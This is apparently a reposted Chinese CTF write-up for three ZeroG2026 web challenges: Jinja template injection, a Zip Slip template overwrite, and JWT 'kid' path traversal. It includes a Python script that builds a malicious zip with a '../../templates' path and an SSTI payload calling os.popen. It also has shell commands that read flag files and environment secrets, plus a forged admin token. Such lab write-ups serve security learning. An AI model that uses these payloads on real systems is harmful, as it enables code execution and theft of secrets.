当前位置: 首页 > news >正文

ZeroG2026赛后复现(web)

Space Notes / 星际便签 (ZeroG2026)

ZeroG 空间站内部有一个轻量级便签系统,用来记录轨道修正、实验安排和临时消息。 工程师说这个系统只提供: 登录 写便签 预览便签 管理员面板 看起来只是一个普通 Flask 小应用。 但 Fen 留下了一句很奇怪的话: “如果模板会说话,那它也许会泄露秘密。” 请拿到管理员权限,读取动态 flag。

我们先进login

随便输一个名字

admin是访问不了的

看到有一个new note的功能

感觉有点像模板注入了

输入

{{7*7}}

输出49

输入

{{7*'7'}}

输出7777777

确定了jinja的模板注入

先测url_for

接下来的步骤其实就是有点像前两天写的模板注入题一样的思路,只不过这个可能没有过滤这么多东西,但是paylaod是通用的,但是有个弯子是我们再正常查找根目录下的东西时并没有看到文件

傻了,忘记排除环境变量了

最终flag:flag{53645d09-28b5-4fcd-8fe9-ffafebec19ee}

Zero Upload / 零重力主题包

ZeroG 空间站上线了一个照片墙系统,成员可以上传轨道照片,也可以上传自定义主题包来改变照片卡片样式。 开发人员声称: “主题包只是 ZIP,里面放一些 HTML 片段和资源文件,不会有危险。” Fen 看完源码后留下了一句话: “压缩包里的路径,也许不只通向解压目录。” 请利用主题包上传功能读取动态 flag。

看到题目给了zip的压缩包

在看这一句

“压缩包里的路径,也许不只通向解压目录。”

我们想到压缩包的路径穿越,但是这个知识点我不太清晰,再又寻找了一些别的信息特征未果后,确定了大概是这个知识点时,我去寻求了一些博客的帮助

所谓压缩包路径穿越,又称Zip Slip,重要的意思就是,我们都知道常规的压缩包路径正常解压到的都是基本统一的,但是如果系统的解压程序信任了压缩包内的文件名,没有判断写入的路径是否为安全路径时,就会可能造成恶意的覆盖路径。

一开始的默认路径是:www/var/html 文件的路径是:uploads/base/shell.php 这个时候拼接的是www/var/html/uploads/base/shell.php 但是如果说在这个环境下我们是可以通过root/base/shell.php这个路径去利用漏洞执行恶意代码的 那么如果我现在写文件的路径是../../../root/base/shell.php那么,最终就会把前面的路径覆盖,最终利用成功

先看环境内,发现有一个上传图片和上传压缩包的位置,结合目前掌握的信息,我们优先把目光放在上传压缩包的功能上。那么我们转头看一看给我们的源码上有没有信息

Orbit Gallery Home Upload Photo Upload Theme {% with messages = get_flashed_messages() %} {% if messages %} {% for msg in messages %} {{ msg }} {% endfor %} {% endif %} {% endwith %} {% for photo in photos %} {% include "theme/card.html" %} {% endfor %}

这一段可以发现系统会渲染theme/card.html这个路径,也就是说如果覆盖了这个路径就可以控制这个渲染的模板

再看看app.py中的

try: with zipfile.ZipFile(zip_path, "r") as zf: for member in zf.infolist(): # 故意的漏洞点:未校验 member.filename 是否包含 ../ target_path = extract_root / member.filename if member.is_dir(): target_path.mkdir(parents=True, exist_ok=True) continue target_path.parent.mkdir(parents=True, exist_ok=True) with zf.open(member, "r") as src, open(target_path, "wb") as dst: dst.write(src.read())

这个漏洞点他都给我们标好了。。。有前面的代码我们也能知道他的原始路径拼接好了是app/themes,所以我们现在就可以构造恶意zip的包了。对了,还没有说他的模板是jinja的模板,因为打开app.py里面第一句是

from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory, abort

而且

这些格式都是类似的表达式。

好了我们现在想着该怎么构造恶意zip包

文件名通过刚刚的分析可以定为

../../templates/theme/card.html

先来测试一下i刚刚的思路吧,我们先上传一个普通的模板注入表达式

import zipfile payload = r''' <div class="photo-card"> <h2>Zip Slip Test</h2> <p>If you see this, template overwrite succeeded.</p> <p>7 * 7 = {{ 7 * 7 }}</p> <p>Config flag = {{ config.get('ZEROG_FLAG') }}</p> </div> ''' with zipfile.ZipFile("test_theme.zip", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("../../templates/theme/card.html", payload) print("[+] created test_theme.zip")

发现现在是覆盖成功了

现在直接写模板,这个创建zip文件包的模板我自己写不出来,所以就请教了资料,然后积累下来。如果下次有相同类型的题目我们只要审他的源码找到他的原始模板存放路径然后略微修改一i就好了

import zipfile cmd = ( "cat /flag /flag.txt /app/flag /root/flag /home/ctf/flag 2>/dev/null; " "env 2>/dev/null | grep -iE 'flag|zerog|gzctf'; " "command -v readflag >/dev/null 2>&1 && readflag 2>/dev/null" ) payload = f''' <div class="photo-card"> <h2>Flag Leak</h2> <p>Config flag: {{{{ config.get('ZEROG_FLAG') }}}}</p> <pre> {{{{ cycler.__init__.__globals__.os.popen("env | sort").read() }}}} </pre> </div> ''' with zipfile.ZipFile("flag_theme.zip", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("../../templates/theme/card.html", payload) print("[+] created flag_theme.zip")

最终flag: flag{37fa8ffb-b94b-4300-b0d2-904f4d6f3b85}

Orbit API / 轨道接口 (ZeroG2026)

ZeroG 空间站提供了一个轻量级轨道数据 API。 普通成员登录后只能查看自己的身份信息; 管理员可以访问内部轨道控制接口并读取动态 flag。 开发人员说: “JWT 都签名了,应该很安全。” Fen 看完接口文档后留下了一句话: “信任 header 里的 kid,就像信任未经校验的轨道参数。” 请利用 Orbit API 获取管理员权限并读取 flag。

首先看页面,有一个note是/static/mission.txt,我们点进去看是空的

这道题目对代审的能力要求就明显提高了,我始终不能找到合理有效的利用链,所以我去借助了别的师傅的wp帮助。

重要的过程几乎都在app.py中,首先

def read_key_by_kid(kid: str) -> bytes: """ 漏洞点: 服务端直接信任 JWT header 中的 kid,并拼接到 KEY_DIR 后读取文件。 未过滤 ../,导致可路径穿越读取应用目录内其它文件作为 HS256 密钥。 """ key_path = KEY_DIR / kid if not key_path.exists() or not key_path.is_file(): raise FileNotFoundError("key not found") return key_path.read_bytes()
def verify_token(token: str) -> dict: try: header = jwt.get_unverified_header(token) except Exception: raise ValueError("invalid jwt header") kid = header.get("kid", DEFAULT_KID) key = read_key_by_kid(kid)

这个应该是赛后打包环境上去特地给的提示,比赛时应该是没有的。这一段好像又能理解了,意思是服务器相信客户端中传来的jwt中的kid值,然后通过KEY_DIR / kid拼接路径,并且没有过滤../也就是可以利用路径穿越漏洞,那么我们如果把header中的kid改成 ../static/mission.txt,那么拼接的

/app/keys/../static/mission.txt也就等于/app/static/mission.txt

话说到这,好的那我们现在要去弄个token的值验证一下,首先把开始页面上的东西都访问一遍

在访问/api/login的时候,我们看到给我们返回了一串登录的token值,我们解码一下

发现kid里面是user.key,现在我们尝试修改一下

在这里我们需要用到一个签名密钥,在wp中这个密钥是在/static/mission.txt里的,但是该环境可能对其进行过删除,所以没有,也没关系我们将那个空页面一整个复制粘贴过去,以防有什么隐藏字符

我们构造好伪造的token后就可以尝试去发送一个响应包

eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCIsICJraWQiOiAiLi4vc3RhdGljL21pc3Npb24udHh0In0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgImlhdCI6IDE3ODU1Njk0MjIsICJleHAiOiAxNzg1NTc2NjIyfQ.p1McyY1WRSgT1E-oZcODAPnJFtRvuYgQbutVzppjhAU

看到我们现在的身份就是admin了,现在访问flag的那个端口试试

成功获取flag

最终flag:flag{548146cf-c9fd-4799-ba8c-32e48d26604d}

http://www.jsqmd.com/news/1318483/

相关文章:

  • 2026 年更新:山东正规的冷冻小酥肉品品牌哪家靠谱,刚放进烤箱的这玩意儿,竟然能比现炸的还香上几分?-立信食品 - 鉴选官
  • Java GC原理与实战调优指南
  • MATLAB实现分布式能源交易的ADMM优化算法
  • 湘美书院谈AI写作,站在金字塔尖的人,还需要机器协作吗?
  • 2026年8月靠谱的AGV叉车定制厂家推荐,全向堆高叉车AGV/大型AGV,AGV叉车定制厂家哪个好 - 品牌推荐师
  • 线索二叉树原理与应用:优化遍历与存储的高效数据结构
  • MoonBit数据解析模块packet,看懂网络数据里的通信信息
  • 上海品牌全案公司怎么选?警惕注册地在沪执行团队在外地陷阱—实地办公核验与本地化服务能力考察 - 小橘甄选
  • 智慧社区门禁“通行即服务”:端侧AI + 4G免布线架构设计与落地实践
  • 2026 年 7 月新发布:常德口碑好的全自动化缩口机制造厂家格局重塑与选型新思路,车间里省下10个工的那台设备,你见过没? - 行业鉴选官
  • 成都市漏水维修_2026四川盆地中心城市漏水维修避坑指南与收费标准 - 雨婺虹房屋维修
  • ThinkPHP与Laravel双框架开发留守儿童心理辅导网站实践
  • 第22章:Mongo聚合性能优化——千万订单报表怎么跑?
  • 2026年湖南高评价民办中专学校推荐:性价比与升学就业优势全解析 - 优质品牌商家
  • Gatling 实现原理与稳定施压核心机制#
  • SpringBoot+Vue构建个性化图书推荐系统实践
  • DVWA靶场实战:从原理到防御,彻底掌握CSRF跨站请求伪造
  • 射频工程师成长指南:从ADS仿真到Cadence PCB设计的全流程实战
  • 2025年网络安全工程师必备的10款经典工具指南
  • 江苏口碑好的护童板供应商推荐哪家:严选 - 品牌推广大师
  • 欧盟裁决谷歌开放 11 项安卓功能,Open Home Foundation 智能家居互操作性获重大胜利
  • 靠谱的临终老人返乡回老家转运怎么选?2026年成都地区厂家推荐与客观分析 - 优质品牌商家
  • 并发编程实战:从互斥锁到读写锁,解决读者写者问题
  • 2026实测可用的PDF 转 JPG 免费方法,微信里就能搞定 - 玩机日常
  • 智能物流装备核心技术:磁悬浮直驱电动辊筒解析
  • Spring Boot应用404错误分析与解决方案
  • 福清市外墙漏水维修_2026福建东部沿海侨乡城市漏水维修攻略与一览 - 雨婺虹房屋维修
  • 海外红人营销变现模式与实战策略
  • Comsol仿真弯曲光纤与波导模式分析技术详解
  • 单片机计算机毕设之基于 STM32/51 单片机的 LCD1602 酒精浓度可视化预警装置 车载智能酒精检测继电器断电保护系统设计与开发(020501)